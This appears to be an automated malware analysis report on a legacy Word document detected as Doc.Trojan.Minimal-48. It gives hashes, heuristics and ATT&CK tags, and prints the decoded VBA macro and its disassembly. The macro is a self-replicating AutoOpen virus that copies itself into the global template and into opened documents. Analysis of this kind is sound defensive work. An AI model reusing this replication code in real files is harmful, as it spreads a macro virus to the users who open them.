Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 f6a94bc91b6a618e…

MALICIOUS

Office (OLE)

26.5 KB Created: 1999-05-02 15:48:00 Authoring application: Microsoft Word 8.0 First seen: 2012-06-14
MD5: cc4c8d9334803549cdf99737c7992056 SHA-1: f942ac5793ed7cd5d6bc51a18433f6da7e9e617c SHA-256: f6a94bc91b6a618e7a77338002e2020673ab19193ab1d48b955052973bca389c
200 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1566.001 Spearphishing Attachment

The file is a legacy Word document containing a VBA macro that executes the AutoOpen subroutine. This subroutine attempts to copy itself to the global macros and then prompts the user to save the document in a different format, which is a common technique to bypass security controls or prepare for payload execution. The ClamAV detection further confirms its malicious nature.

Heuristics 4

  • ClamAV: Doc.Trojan.Minimal-48 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Trojan.Minimal-48
  • VBA macros detected medium 1 related finding OLE_VBA_MACROS
    Document contains VBA macro code
  • AutoOpen macro high OLE_VBA_AUTOOPEN
    AutoOpen macro
  • Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXEC
    OLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 2202 bytes
SHA-256: 4f7af3fabcac461a3aa38cc48eb0dbd8834bf65b77c6d6fea147653ddf9aef56
Detection
ClamAV: Doc.Trojan.Minimal-48
Obfuscation or payload: unlikely
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "0{00020906-0000-0000-C000-000000000046}"
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True

Attribute VB_Name = "AutoOpen"
Public Sub MAIN()
On Error GoTo -1: On Error GoTo cont
WordBasic.MacroCopy WordBasic.[FileName$]() + ":AutoOpen", "Global" + ":AutoOpen"
GoTo okey
cont:
WordBasic.MacroCopy "Global" + ":AutoOpen", WordBasic.[FileName$]() + ":AutoOpen"
On Error GoTo hj
Dim dlg As Object: Set dlg = WordBasic.DialogRecord.FileSaveAs(False)
WordBasic.CurValues.FileSaveAs dlg
dlg.Format = 1
WordBasic.FileSaveAs dlg
okey:
WordBasic.MsgBox "OK!", 64
hj:
End Sub

' Processing file: /opt/analyzer/scan_staging/17f6c52615ca458faed8cff5eb231ba5.bin
' ===============================================================================
' Module streams:
' Macros/VBA/ThisDocument - 965 bytes
' Macros/VBA/AutoOpen - 1531 bytes
' Line #0:
' 	FuncDefn (Public Sub MAIN())
' Line #1:
' 	OnError <crash> 
' 	BoS 0x0000 
' 	OnError cont 
' Line #2:
' 	Ld WordBasic 
' 	ArgsMemLd [FileName$] 0x0000 
' 	LitStr 0x0009 ":AutoOpen"
' 	Add 
' 	LitStr 0x0006 "Global"
' 	LitStr 0x0009 ":AutoOpen"
' 	Add 
' 	Ld WordBasic 
' 	ArgsMemCall MacroCopy 0x0002 
' Line #3:
' 	GoTo okey 
' Line #4:
' 	Label cont 
' Line #5:
' 	LitStr 0x0006 "Global"
' 	LitStr 0x0009 ":AutoOpen"
' 	Add 
' 	Ld WordBasic 
' 	ArgsMemLd [FileName$] 0x0000 
' 	LitStr 0x0009 ":AutoOpen"
' 	Add 
' 	Ld WordBasic 
' 	ArgsMemCall MacroCopy 0x0002 
' Line #6:
' 	OnError hj 
' Line #7:
' 	Dim 
' 	VarDefn dlg (As Object)
' 	BoS 0x0000 
' 	SetStmt 
' 	LitVarSpecial (False)
' 	Ld WordBasic 
' 	MemLd DialogRecord 
' 	ArgsMemLd FileSaveAs 0x0001 
' 	Set dlg 
' Line #8:
' 	Ld dlg 
' 	Ld WordBasic 
' 	MemLd CurValues 
' 	ArgsMemCall FileSaveAs 0x0001 
' Line #9:
' 	LitDI2 0x0001 
' 	Ld dlg 
' 	MemSt Format$ 
' Line #10:
' 	Ld dlg 
' 	Ld WordBasic 
' 	ArgsMemCall FileSaveAs 0x0001 
' Line #11:
' 	Label okey 
' Line #12:
' 	LitStr 0x0003 "OK!"
' 	LitDI2 0x0040 
' 	Ld WordBasic 
' 	ArgsMemCall MsgBox 0x0002 
' Line #13:
' 	Label hj 
' Line #14:
' 	EndSub

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